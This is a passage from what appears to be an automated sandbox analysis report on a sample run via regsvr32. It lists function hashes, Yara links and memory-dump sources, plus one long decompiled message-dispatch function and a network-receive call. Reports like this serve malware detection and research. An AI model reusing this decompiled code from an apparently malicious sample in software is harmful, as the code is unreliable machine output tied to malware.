Instruction Fuzzy Hash: CF415572D0422EEBDF18CEA0C9495EEFBB1BF55318F208199C451B6220D7B81B46CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04235515, Relevance: 2.6, Strings: 2, Instructions: 92COMMON

Download Yara Rule

Strings

(8r, xrefs: 04235578
bWr, xrefs: 0423551E

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: bWr$(8r
API String ID: 0-4034592896
Opcode ID: 6bd561600b29e8d40b53efd76a24b6e4d1b51c40b914b8d5291e690eb23a4ca9
Instruction ID: afaf91fc10c65f66ff478e4d530588a3f3b08e3d5e30681c5f183d0619399e00
Opcode Fuzzy Hash: 6bd561600b29e8d40b53efd76a24b6e4d1b51c40b914b8d5291e690eb23a4ca9
Instruction Fuzzy Hash: 6B4113B1D1021AEFCF18CFA4D94A9EEBBB5FB04304F10818AD511B6264D3B55B85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 1001178A, Relevance: 1.9, APIs: 1, Instructions: 445
COMMONCrypto

Download Yara Rule

C-Code - Quality: 37%

			E1001178A(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi, void* __eflags) {
				unsigned int _t147;
				signed int _t149;
				signed int* _t152;
				intOrPtr _t159;
				intOrPtr* _t160;
				unsigned int _t163;
				unsigned int _t166;
				signed int* _t170;
				signed int* _t173;
				unsigned int _t177;
				unsigned int _t181;
				unsigned int _t185;
				signed int _t189;
				signed int* _t194;
				signed int _t195;
				unsigned int _t196;
				intOrPtr* _t197;
				unsigned int _t198;
				signed int _t213;
				signed int _t217;
				unsigned int _t224;
				void* _t225;

				_t200 = __ecx;
				_push(0x70);
				E10017BC1(E100286B6, __ebx, __edi, __esi);
				_t222 = __ecx;
				 *((intOrPtr*)(_t225 - 0x10)) = 0;
				 *((intOrPtr*)(_t225 - 0x14)) = 0x7fffffff;
				_t189 =  *(_t225 + 8);
				 *(_t225 - 4) = 0;
				if(_t189 != 0x111) {
					__eflags = _t189 - 0x4e;
					if(_t189 != 0x4e) {
						__eflags = _t189 - 6;
						_t224 =  *(_t225 + 0x10);
						if(_t189 == 6) {
							E10011159(_t200, _t222,  *((intOrPtr*)(_t225 + 0xc)), E1000FB5C(_t189, __ecx, _t225, _t224));
						}
						__eflags = _t189 - 0x20;
						if(_t189 != 0x20) {
							L12:
							_t147 =  *(_t222 + 0x4c);
							__eflags = _t147;
							if(_t147 == 0) {
								L20:
								_t149 =  *((intOrPtr*)( *_t222 + 0x28))();
								 *(_t225 + 0x10) = _t149;
								E1000E7D9(_t225 - 0x14, _t222, 7);
								_t194 = 0x10058f50 + ((_t149 ^  *(_t225 + 8)) & 0x000001ff) * 0xc;
								__eflags =  *(_t225 + 8) -  *_t194;
								 *(_t225 - 0x18) = _t194;
								if( *(_t225 + 8) !=  *_t194) {
									L25:
									_t152 =  *(_t225 - 0x18);
									_t195 =  *(_t225 + 0x10);
									 *_t152 =  *(_t225 + 8);
									_t152[2] = _t195;
									while(1) {
										__eflags =  *_t195;
										if( *_t195 == 0) {
											break;
										}
										__eflags =  *(_t225 + 8) - 0xc000;
										_push(0);
										_push(0);
										if( *(_t225 + 8) >= 0xc000) {
											_push(0xc000);
											_push( *((intOrPtr*)( *(_t225 + 0x10) + 4)));
											while(1) {
												_t196 = E1000E064();
												__eflags = _t196;
												if(_t196 == 0) {
													break;
												}
												__eflags =  *((intOrPtr*)( *((intOrPtr*)(_t196 + 0x10)))) -  *(_t225 + 8);
												if( *((intOrPtr*)( *((intOrPtr*)(_t196 + 0x10)))) ==  *(_t225 + 8)) {
													( *(_t225 - 0x18))[1] = _t196;
													E1000E808(_t225 - 0x14);
													L102:
													_t197 =  *((intOrPtr*)(_t196 + 0x14));
													L103:
													_push(_t224);
													_push( *((intOrPtr*)(_t225 + 0xc)));
													L104:
													_t159 =  *_t197();
													L105:
													 *((intOrPtr*)(_t225 - 0x10)) = _t159;
													goto L106;
												}
												_push(0);
												_push(0);
												_push(0xc000);
												_t198 = _t196 + 0x18;
												__eflags = _t198;
												_push(_t198);
											}
											_t195 =  *(_t225 + 0x10);
											L36:
											_t195 =  *_t195();
											 *(_t225 + 0x10) = _t195;
											continue;
										}
										_push( *(_t225 + 8));
										_push( *((intOrPtr*)(_t195 + 4)));
										_t166 = E1000E064();
										__eflags = _t166;
										 *(_t225 + 0x10) = _t166;
										if(_t166 == 0) {
											goto L36;
										}
										( *(_t225 - 0x18))[1] = _t166;
										E1000E808(_t225 - 0x14);
										L29:
										_t213 =  *((intOrPtr*)( *(_t225 + 0x10) + 0x10)) - 1;
										__eflags = _t213 - 0x44;
										if(__eflags > 0) {
											goto L106;
										}
										switch( *((intOrPtr*)(_t213 * 4 +  &M10011CA2))) {
											case 0:
												_push( *(__ebp + 0xc));
												_push(E100131BC(__ebx, __ecx, __edi, __esi, __eflags));
												goto L44;
											case 1:
												_push( *(__ebp + 0xc));
												goto L44;
											case 2:
												__eax = __esi;
												__eax = __esi >> 0x10;
												__eflags = __eax;
												_push(__eax);
												__eax = __si & 0x0000ffff;
												_push(__si & 0x0000ffff);
												__eax = E1000FB5C(__ebx, __ecx, __ebp,  *(__ebp + 0xc));
												goto L49;
											case 3:
												_push(__esi);
												__eax = E1000FB5C(__ebx, __ecx, __ebp,  *(__ebp + 0xc));
												goto L42;
											case 4:
												_push(__esi);
												L44:
												__ecx = __edi;
												__eax =  *__ebx();
												goto L105;
											case 5:
												__ecx = __ebp - 0x28;
												E10012DE4(__ebp - 0x28) =  *(__esi + 4);
												__ecx = __ebp - 0x7c;
												 *((char*)(__ebp - 4)) = 1;
												 *(__ebp - 0x24) =  *(__esi + 4);
												__eax = E1000E822(__ecx, __eflags);
												__eax =  *__esi;
												__esi =  *(__esi + 8);
												 *((char*)(__ebp - 4)) = 2;
												 *(__ebp - 0x5c) = __eax;
												__eax = E1000FB83(__ecx, __edi, __esi, __eflags, __eax);
												__eflags = __eax;
												if(__eflags == 0) {
													__eax =  *(__edi + 0x4c);
													__eflags = __eax;
													if(__eflags != 0) {
														__ecx = __eax + 0x24;
														__eax = E10014BD1(__eax + 0x24, __edi, __esi,  *(__ebp - 0x5c));
														__eflags = __eax;
														if(__eflags != 0) {
															 *(__ebp - 0x2c) = __eax;
														}
													}
													__eax = __ebp - 0x7c;
												}
												_push(__esi);
												_push(__eax);
												__eax = __ebp - 0x28;
												_push(__ebp - 0x28);
												__ecx = __edi;
												__eax =  *__ebx();
												 *(__ebp - 0x24) =  *(__ebp - 0x24) & 0x00000000;
												 *(__ebp - 0x5c) =  *(__ebp - 0x5c) & 0x00000000;
												__ecx = __ebp - 0x7c;
												 *(__ebp - 0x10) = __ebp - 0x28;
												 *((char*)(__ebp - 4)) = 1;
												__eax = E100102A7(__ebx, __ebp - 0x7c, __edi, __esi, __eflags);
												goto L59;
											case 6:
												__ecx = __ebp - 0x28;
												E10012DE4(__ebp - 0x28) =  *(__esi + 4);
												_push( *(__esi + 8));
												 *(__ebp - 0x24) =  *(__esi + 4);
												__eax = __ebp - 0x28;
												_push(__ebp - 0x28);
												__ecx = __edi;
												 *((char*)(__ebp - 4)) = 3;
												__eax =  *__ebx();
												_t95 = __ebp - 0x24;
												 *_t95 =  *(__ebp - 0x24) & 0x00000000;
												__eflags =  *_t95;
												 *(__ebp - 0x10) = __ebp - 0x28;
												L59:
												__ecx = __ebp - 0x28;
												 *((char*)(__ebp - 4)) = 0;
												__eax = E1001322E(__ecx);
												goto L106;
											case 7:
												__eax =  *(__ebp + 0xc);
												__eax =  *(__ebp + 0xc) >> 0x10;
												__eflags = __eax;
												_push(__eax);
												__eax = E1000FB5C(__ebx, __ecx, __ebp, __esi);
												goto L61;
											case 8:
												 *(__ebp + 0xc) =  *(__ebp + 0xc) >> 0x10;
												_push( *(__ebp + 0xc) >> 0x10);
												__eax =  *(__ebp + 0xc) & 0x0000ffff;
												goto L42;
											case 9:
												goto L103;
											case 0xa:
												_push(__esi);
												_push(E10014F27(__ebx, __ecx, __edi, __esi, __eflags));
												__eax =  *(__ebp + 0xc);
												__eax =  *(__ebp + 0xc) >> 0x10;
												L61:
												_push(__eax);
												__eax =  *(__ebp + 0xc) & 0x0000ffff;
												L49:
												_push(__eax);
												__ecx = __edi;
												__eax =  *__ebx();
												goto L105;
											case 0xb:
												_push(__esi);
												goto L87;
											case 0xc:
												_push( *(__ebp + 0xc));
												goto L90;
											case 0xd:
												__ecx = __edi;
												__eax =  *__ebx();
												goto L106;
											case 0xe:
												 *(__ebp + 0xc) =  *(__ebp + 0xc) >> 0x10;
												_push( *(__ebp + 0xc) >> 0x10);
												__eax =  *(__ebp + 0xc) & 0x0000ffff;
												goto L81;
											case 0xf:
												__esi = __esi >> 0x10;
												__eax = __ax;
												_push(__ax);
												__eax = __si;
												goto L81;
											case 0x10:
												_push(__esi >> 0x10);
												__eax = __si & 0x0000ffff;
												goto L95;
											case 0x11:
												_push(E1000FB5C(__ebx, __ecx, __ebp, __esi));
												L87:
												_push( *(__ebp + 0xc));
												goto L88;
											case 0x12:
												__ecx = __edi;
												__eax =  *__ebx();
												goto L105;
											case 0x13:
												_push(E1000FB5C(__ebx, __ecx, __ebp,  *(__ebp + 0xc)));
												_push(E1000FB5C(__ebx, __ecx, __ebp, __esi));
												__eax = 0;
												__eflags =  *((intOrPtr*)(__edi + 0x20)) - __esi;
												__eax = 0 |  *((intOrPtr*)(__edi + 0x20)) == __esi;
												goto L93;
											case 0x14:
												_push( *(__ebp + 0xc));
												__eax = E100131BC(__ebx, __ecx, __edi, __esi, __eflags);
												goto L76;
											case 0x15:
												_push( *(__ebp + 0xc));
												__eax = E10014F27(__ebx, __ecx, __edi, __esi, __eflags);
												goto L76;
											case 0x16:
												__esi = __esi >> 0x10;
												__eax = __ax;
												_push(__ax);
												__eax = __si;
												_push(__si);
												_push( *(__ebp + 0xc));
												__eax = E10014F27(__ebx, __ecx, __edi, __esi, __eflags);
												goto L93;
											case 0x17:
												_push( *(__ebp + 0xc));
												goto L75;
											case 0x18:
												_push(__esi);
												L75:
												__eax = E1000FB5C(__ebx, __ecx, __ebp);
												L76:
												_push(__eax);
												goto L90;
											case 0x19:
												_push(__esi >> 0x10);
												__eax = __si & 0x0000ffff;
												goto L79;
											case 0x1a:
												__eax = __si;
												__eflags = __esi;
												__ecx = __si;
												_push(__ecx);
												L79:
												_push(__eax);
												__eax = E1000FB5C(__ebx, __ecx, __ebp,  *(__ebp + 0xc));
												goto L93;
											case 0x1b:
												_push(__esi);
												__eax = E1000FB5C(__ebx, __ecx, __ebp,  *(__ebp + 0xc));
												L81:
												_push(__eax);
												goto L88;
											case 0x1c:
												 *(__ebp + 0xc) =  *(__ebp + 0xc) >> 0x10;
												_push( *(__ebp + 0xc) >> 0x10);
												__eax = E1000FB5C(__ebx, __ecx, __ebp, __esi);
												goto L92;
											case 0x1d:
												__ecx =  *(__ebp + 0xc);
												__edx = __cx;
												__ecx =  *(__ebp + 0xc) >> 0x10;
												__eflags = __eax - 0x2a;
												__ecx = __cx;
												 *((intOrPtr*)(__ebp + 8)) = __edx;
												 *(__ebp + 0xc) = __ecx;
												if(__eax != 0x2a) {
													_push(__ecx);
													_push(__edx);
													L88:
													__ecx = __edi;
													__eax =  *__ebx();
													goto L106;
												}
												_push(E1000FB5C(__ebx, __ecx, __ebp, __esi));
												_push( *(__ebp + 0xc));
												_push( *((intOrPtr*)(__ebp + 8)));
												goto L96;
											case 0x1e:
												_push(__esi);
												L90:
												__ecx = __edi;
												__eax =  *__ebx();
												goto L106;
											case 0x1f:
												_push(__esi);
												_push( *(__ebp + 0xc));
												__ecx = __edi;
												__eax =  *__ebx();
												goto L2;
											case 0x20:
												__eax = __si;
												__eflags = __esi;
												__ecx = __si;
												_push(__ecx);
												L42:
												_push(__eax);
												goto L104;
											case 0x21:
												__eax =  *(__ebp + 0xc);
												_push(__esi);
												__eax =  *(__ebp + 0xc) >> 0x10;
												__eflags = __eax;
												L92:
												_push(__eax);
												__eax =  *(__ebp + 0xc) & 0x0000ffff;
												L93:
												_push(__eax);
												goto L96;
											case 0x22:
												__eax = __si;
												__eflags = __esi;
												__ecx = __si;
												_push(__si);
												L95:
												_push(__eax);
												_push( *(__ebp + 0xc));
												L96:
												__ecx = __edi;
												__eax =  *__ebx();
												goto L106;
											case 0x23:
												__eax = __si;
												__esi = __esi >> 0x10;
												__ecx = __si;
												_push(__si);
												_push(__si);
												 *(__ebp + 0xc) =  *(__ebp + 0xc) >> 0x10;
												_push( *(__ebp + 0xc) >> 0x10);
												__eax =  *(__ebp + 0xc) & 0x0000ffff;
												_push( *(__ebp + 0xc) & 0x0000ffff);
												__ecx = __edi;
												__eax =  *__ebx();
												 *(__ebp - 0x10) =  *(__ebp + 0xc) & 0x0000ffff;
												L6:
												__eflags = _t185;
												if(_t185 != 0) {
													goto L106;
												}
												goto L39;
											case 0x24:
												goto L106;
											case 0x25:
												__ecx = __edi;
												__eax =  *__ebx();
												__eflags = __eax;
												 *(__ebp - 0x10) = __eax;
												if(__eax == 0) {
													goto L106;
												}
												L39:
												 *(_t225 - 4) =  *(_t225 - 4) | 0xffffffff;
												E1000E808(_t225 - 0x14);
												_t163 = 0;
												__eflags = 0;
												goto L40;
										}
									}
									_t170 =  *(_t225 - 0x18);
									_t58 =  &(_t170[1]);
									 *_t58 = _t170[1] & 0x00000000;
									__eflags =  *_t58;
									E1000E808(_t225 - 0x14);
									goto L39;
								}
								_t173 = _t194;
								__eflags =  *(_t225 + 0x10) - _t173[2];
								if( *(_t225 + 0x10) != _t173[2]) {
									goto L25;
								}
								_t196 = _t173[1];
								 *(_t225 + 0x10) = _t196;
								E1000E808(_t225 - 0x14);
								__eflags = _t196;
								if(_t196 == 0) {
									goto L39;
								}
								__eflags =  *(_t225 + 8) - 0xc000;
								if( *(_t225 + 8) < 0xc000) {
									goto L29;
								}
								goto L102;
							}
							__eflags =  *(_t147 + 0x74);
							if( *(_t147 + 0x74) <= 0) {
								goto L20;
							}
							__eflags = _t189 - 0x200;
							if(_t189 < 0x200) {
								L16:
								__eflags = _t189 - 0x100;
								if(_t189 < 0x100) {
									L18:
									__eflags = _t189 - 0x281 - 0x10;
									if(_t189 - 0x281 > 0x10) {
										goto L20;
									}
									L19:
									_t177 =  *((intOrPtr*)( *( *(_t222 + 0x4c)) + 0x94))(_t189,  *((intOrPtr*)(_t225 + 0xc)), _t224, _t225 - 0x10);
									__eflags = _t177;
									if(_t177 != 0) {
										goto L106;
									}
									goto L20;
								}
								__eflags = _t189 - 0x10f;
								if(_t189 <= 0x10f) {
									goto L19;
								}
								goto L18;
							}
							__eflags = _t189 - 0x209;
							if(_t189 <= 0x209) {
								goto L19;
							}
							goto L16;
						} else {
							_t181 = E100111CF(_t189, _t222, _t222, _t224, _t224 >> 0x10);
							__eflags = _t181;
							if(_t181 != 0) {
								L2:
								 *((intOrPtr*)(_t225 - 0x10)) = 1;
								L106:
								_t160 =  *((intOrPtr*)(_t225 + 0x14));
								if(_t160 != 0) {
									 *_t160 =  *((intOrPtr*)(_t225 - 0x10));
								}
								 *(_t225 - 4) =  *(_t225 - 4) | 0xffffffff;
								E1000E808(_t225 - 0x14);
								_t163 = 1;
								L40:
								return E10017C60(_t163);
							}
							goto L12;
						}
					}
					_t217 =  *(_t225 + 0x10);
					__eflags =  *_t217;
					if( *_t217 == 0) {
						goto L39;
					}
					_push(_t225 - 0x10);
					_push(_t217);
					_push( *((intOrPtr*)(_t225 + 0xc)));
					_t185 =  *((intOrPtr*)( *__ecx + 0xec))();
					goto L6;
				}
				_push( *(_t225 + 0x10));
				_push( *((intOrPtr*)(_t225 + 0xc)));
				if( *((intOrPtr*)( *__ecx + 0xe8))() == 0) {
					goto L39;
				}
				goto L2;
			}

0x1001178a
0x1001178a
0x10011791
0x10011796
0x1001179a
0x1001179d
0x100117a4
0x100117ad
0x100117b0
0x100117d4
0x100117d7
0x10011803
0x10011806
0x10011809
0x10011816
0x10011816
0x1001181b
0x1001181e
0x10011834
0x10011834
0x10011837
0x10011839
0x10011888
0x1001188c
0x10011899
0x100118a2
0x100118ad
0x100118b3
0x100118b5
0x100118b8
0x100118e8
0x100118e8
0x100118eb
0x100118f1
0x100118f3
0x10011982
0x10011982
0x10011985
0x00000000
0x00000000
0x100118fb
0x10011902
0x10011904
0x10011906
0x1001194a
0x1001194f
0x1001196d
0x10011972
0x10011974
0x10011976
0x00000000
0x00000000
0x10011958
0x1001195a
0x10011c6b
0x10011c6e
0x10011c73
0x10011c73
0x10011c76
0x10011c76
0x10011c77
0x10011c7a
0x10011c7c
0x10011c7e
0x10011c7e
0x00000000
0x10011c7e
0x10011960
0x10011962
0x10011964
0x10011969
0x10011969
0x1001196c
0x1001196c
0x10011978
0x1001197b
0x1001197d
0x1001197f
0x00000000
0x1001197f
0x10011908
0x1001190b
0x1001190e
0x10011913
0x10011915
0x10011918
0x00000000
0x00000000
0x1001191d
0x10011923
0x10011928
0x10011931
0x10011934
0x10011937
0x00000000
0x00000000
0x1001193d
0x00000000
0x100119c0
0x100119c8
0x00000000
0x00000000
0x100119d2
0x00000000
0x00000000
0x100119ec
0x100119ee
0x100119ee
0x100119f1
0x100119f2
0x100119f5
0x100119f9
0x00000000
0x00000000
0x10011a08
0x10011a0c
0x00000000
0x00000000
0x10011a13
0x100119c9
0x100119c9
0x100119cb
0x00000000
0x00000000
0x10011a16
0x10011a1e
0x10011a21
0x10011a24
0x10011a28
0x10011a2b
0x10011a30
0x10011a32
0x10011a36
0x10011a3a
0x10011a3d
0x10011a42
0x10011a44
0x10011a46
0x10011a49
0x10011a4b
0x10011a50
0x10011a53
0x10011a58
0x10011a5a
0x10011a5c
0x10011a5c
0x10011a5a
0x10011a5f
0x10011a5f
0x10011a62
0x10011a63
0x10011a64
0x10011a67
0x10011a68
0x10011a6a
0x10011a6c
0x10011a70
0x10011a74
0x10011a77
0x10011a7a
0x10011a7e
0x00000000
0x00000000
0x10011a85
0x10011a8d
0x10011a90
0x10011a93
0x10011a96
0x10011a99
0x10011a9a
0x10011a9c
0x10011aa0
0x10011aa2
0x10011aa2
0x10011aa2
0x10011aa6
0x10011aa9
0x10011aa9
0x10011aac
0x10011ab0
0x00000000
0x00000000
0x10011aba
0x10011abd
0x10011abd
0x10011ac0
0x10011ac2
0x00000000
0x00000000
0x10011ad4
0x10011ad7
0x10011ad8
0x00000000
0x00000000
0x00000000
0x00000000
0x10011ae1
0x10011ae7
0x10011ae8
0x10011aeb
0x10011ac7
0x10011ac7
0x10011ac8
0x100119fe
0x100119fe
0x100119ff
0x10011a01
0x00000000
0x00000000
0x10011bee
0x00000000
0x00000000
0x10011af9
0x00000000
0x00000000
0x10011af0
0x10011af2
0x00000000
0x00000000
0x10011b04
0x10011b07
0x10011b08
0x00000000
0x00000000
0x10011b13
0x10011b16
0x10011b19
0x10011b1a
0x00000000
0x00000000
0x10011b27
0x10011b28
0x00000000
0x00000000
0x100119e6
0x10011bef
0x10011bef
0x00000000
0x00000000
0x100119d7
0x100119d9
0x00000000
0x00000000
0x10011b38
0x10011b3f
0x10011b40
0x10011b42
0x10011b45
0x00000000
0x00000000
0x10011b4d
0x10011b50
0x00000000
0x00000000
0x10011b57
0x10011b5a
0x00000000
0x00000000
0x10011b63
0x10011b66
0x10011b69
0x10011b6a
0x10011b6d
0x10011b6e
0x10011b71
0x00000000
0x00000000
0x10011b7b
0x00000000
0x00000000
0x10011b80
0x10011b81
0x10011b81
0x10011b86
0x10011b86
0x00000000
0x00000000
0x10011b8e
0x10011b8f
0x00000000
0x00000000
0x10011b94
0x10011b97
0x10011b9a
0x10011b9d
0x10011b9e
0x10011b9e
0x10011ba2
0x00000000
0x00000000
0x10011ba9
0x10011bad
0x10011bb2
0x10011bb2
0x00000000
0x00000000
0x10011bb8
0x10011bbb
0x10011bbd
0x00000000
0x00000000
0x10011bc4
0x10011bc7
0x10011bca
0x10011bcd
0x10011bd0
0x10011bd3
0x10011bd6
0x10011bd9
0x10011bea
0x10011beb
0x10011bf2
0x10011bf2
0x10011bf4
0x00000000
0x10011bf4
0x10011be1
0x10011be2
0x10011be5
0x00000000
0x00000000
0x10011bfb
0x10011bfc
0x10011bfc
0x10011bfe
0x00000000
0x00000000
0x10011c25
0x10011c26
0x10011c29
0x10011c2b
0x00000000
0x00000000
0x100119b0
0x100119b3
0x100119b6
0x100119b9
0x100119ba
0x100119ba
0x00000000
0x00000000
0x10011c02
0x10011c05
0x10011c06
0x10011c06
0x10011c09
0x10011c09
0x10011c0a
0x10011c0e
0x10011c0e
0x00000000
0x00000000
0x10011c11
0x10011c14
0x10011c17
0x10011c1a
0x10011c1b
0x10011c1b
0x10011c1c
0x10011c1f
0x10011c1f
0x10011c21
0x00000000
0x00000000
0x10011c32
0x10011c35
0x10011c38
0x10011c3b
0x10011c3c
0x10011c40
0x10011c43
0x10011c44
0x10011c48
0x10011c49
0x10011c4b
0x10011c4d
0x100117f6
0x100117f6
0x100117f8
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x10011c55
0x10011c57
0x10011c59
0x10011c5b
0x10011c5e
0x00000000
0x00000000
0x1001199a
0x1001199a
0x100119a1
0x100119a6
0x100119a6
0x00000000
0x00000000
0x1001193d
0x1001198b
0x1001198e
0x1001198e
0x1001198e
0x10011995
0x00000000
0x10011995
0x100118bd
0x100118bf
0x100118c2
0x00000000
0x00000000
0x100118c4
0x100118ca
0x100118cd
0x100118d2
0x100118d4
0x00000000
0x00000000
0x100118da
0x100118e1
0x00000000
0x00000000
0x00000000
0x100118e3
0x1001183b
0x1001183f
0x00000000
0x00000000
0x10011841
0x10011847
0x10011851
0x10011851
0x10011857
0x10011861
0x10011867
0x1001186a
0x00000000
0x00000000
0x1001186c
0x1001187a
0x10011880
0x10011882
0x00000000
0x00000000
0x00000000
0x10011882
0x10011859
0x1001185f
0x00000000
0x00000000
0x00000000
0x1001185f
0x10011849
0x1001184f
0x00000000
0x00000000
0x00000000
0x10011820
0x1001182b
0x10011830
0x10011832
0x100117c8
0x100117c8
0x10011c81
0x10011c81
0x10011c86
0x10011c8b
0x10011c8b
0x10011c8d
0x10011c94
0x10011c9b
0x100119a8
0x100119ad
0x100119ad
0x00000000
0x10011832
0x1001181e
0x100117d9
0x100117dc
0x100117de
0x00000000
0x00000000
0x100117e9
0x100117ea
0x100117eb
0x100117f0
0x00000000
0x100117f0
0x100117b2
0x100117b7
0x100117c2
0x00000000
0x00000000
0x00000000

APIs

__EH_prolog3.LIBCMT ref: 10011791

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: c488e6358afd4d9d754c5c9fda2634e7bab5cc465686e7f95f68ab9b090a2a17
Instruction ID: cc0fde642219aadce896e713a6cb9948d2e0911a96acc08396d26a1a5d665eaf
Opcode Fuzzy Hash: c488e6358afd4d9d754c5c9fda2634e7bab5cc465686e7f95f68ab9b090a2a17
Instruction Fuzzy Hash: 6EF15F74604219EFDB18DF64C890AFE7BE9EF04350F108519F919AF292DB34E981EB61

Uniqueness

Uniqueness Score: -1.00%

Function 100012D0, Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

recvfrom.WS2_32(?,?,00000400,00000000,?,00000010), ref: 1000131F

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: recvfrom
String ID:
API String ID: 846543921-0
Opcode ID: e3286800183b2fb084681865d01d3168ae5294563589533788e7953d9f8637e2
Instruction ID: bec5cb5057db5f544406cf49396100538fbf28fc5aa5dd8def6f1e45c3881569
Opcode Fuzzy Hash: e3286800183b2fb084681865d01d3168ae5294563589533788e7953d9f8637e2
Instruction Fuzzy Hash: 830112F5A0011C9FDB14CF58CD54BDEB7B8FF88314F4045A9E609A7241D7B4AA84CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0423F840, Relevance: 1.5, Strings: 1, Instructions: 210COMMON

Download Yara Rule

Strings

!+s, xrefs: 0423FA53

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !+s
API String ID: 0-2041718826
Opcode ID: ecbfb722ef4a51468ccc6504c580edf44e6ea5507055d07fe96aabdae32b1462
Instruction ID: 556dbe368d8c78532bad5fc43ebccc8c58c6fbb5a8221eae5620ac063e9f777d
Opcode Fuzzy Hash: ecbfb722ef4a51468ccc6504c580edf44e6ea5507055d07fe96aabdae32b1462
Instruction Fuzzy Hash: 489110B25083409FD358CF65C98991BBBF2FBC4B58F40492DF69586260D3B6D949CF42

Uniqueness

Uniqueness Score: -1.00%

Function 04240A64, Relevance: 1.4, Strings: 1, Instructions: 197COMMON

Download Yara Rule

Strings

i*_, xrefs: 04240B14

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: i*_
API String ID: 0-4175851924
Opcode ID: 033916526ebd42fe384ae7de4cef2794808c9c5efeeb7d3c76fe8acba1a56522
Instruction ID: 070f7c9e895c318ec1c61a93a2ad805dd816a530305d69195dae8f62b94efbb9
Opcode Fuzzy Hash: 033916526ebd42fe384ae7de4cef2794808c9c5efeeb7d3c76fe8acba1a56522
Instruction Fuzzy Hash: 468141B22083419FD358CE61D98991BFBF1EBC4B58F40891CF6929A264D3B6D949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 0423C5D5, Relevance: 1.4, Strings: 1, Instructions: 194COMMON

Download Yara Rule

Strings

<;M, xrefs: 0423C6DD

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: <;M
API String ID: 0-164005337
Opcode ID: 1313039765404a30314a9bef7bff6a854a25f5f38dbe16a8eefa706df329746f
Instruction ID: d46b9eea60b6f03e37a537547247416c0a2cb345a8168a4bb054a5d6502f9a25
Opcode Fuzzy Hash: 1313039765404a30314a9bef7bff6a854a25f5f38dbe16a8eefa706df329746f
Instruction Fuzzy Hash: ED918BB1E10319EBDB18CFA5D98A9EEBBB1FF44314F20805AE512BB250D7B41A45CF94

Uniqueness

Uniqueness Score: -1.00%

Function 04221F38, Relevance: 1.4, Strings: 1, Instructions: 134COMMON

Download Yara Rule

Strings

Ft, xrefs: 04221FAB

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Ft
API String ID: 0-1468847975
Opcode ID: d9d3fe7fa5bae280d0cc3ba93a8d872538ebd9d43e090478aebcfdf40668431c
Instruction ID: f2db0e65a1cf097761759deafdb634e73027eb0f68c677a317985bbe050ccc2a
Opcode Fuzzy Hash: d9d3fe7fa5bae280d0cc3ba93a8d872538ebd9d43e090478aebcfdf40668431c
Instruction Fuzzy Hash: 8C51BC72A28311DBC358DF64D98481BBBE0FB94728F044A5DF599A2160D3B1EA49CB93

Uniqueness

Uniqueness Score: -1.00%

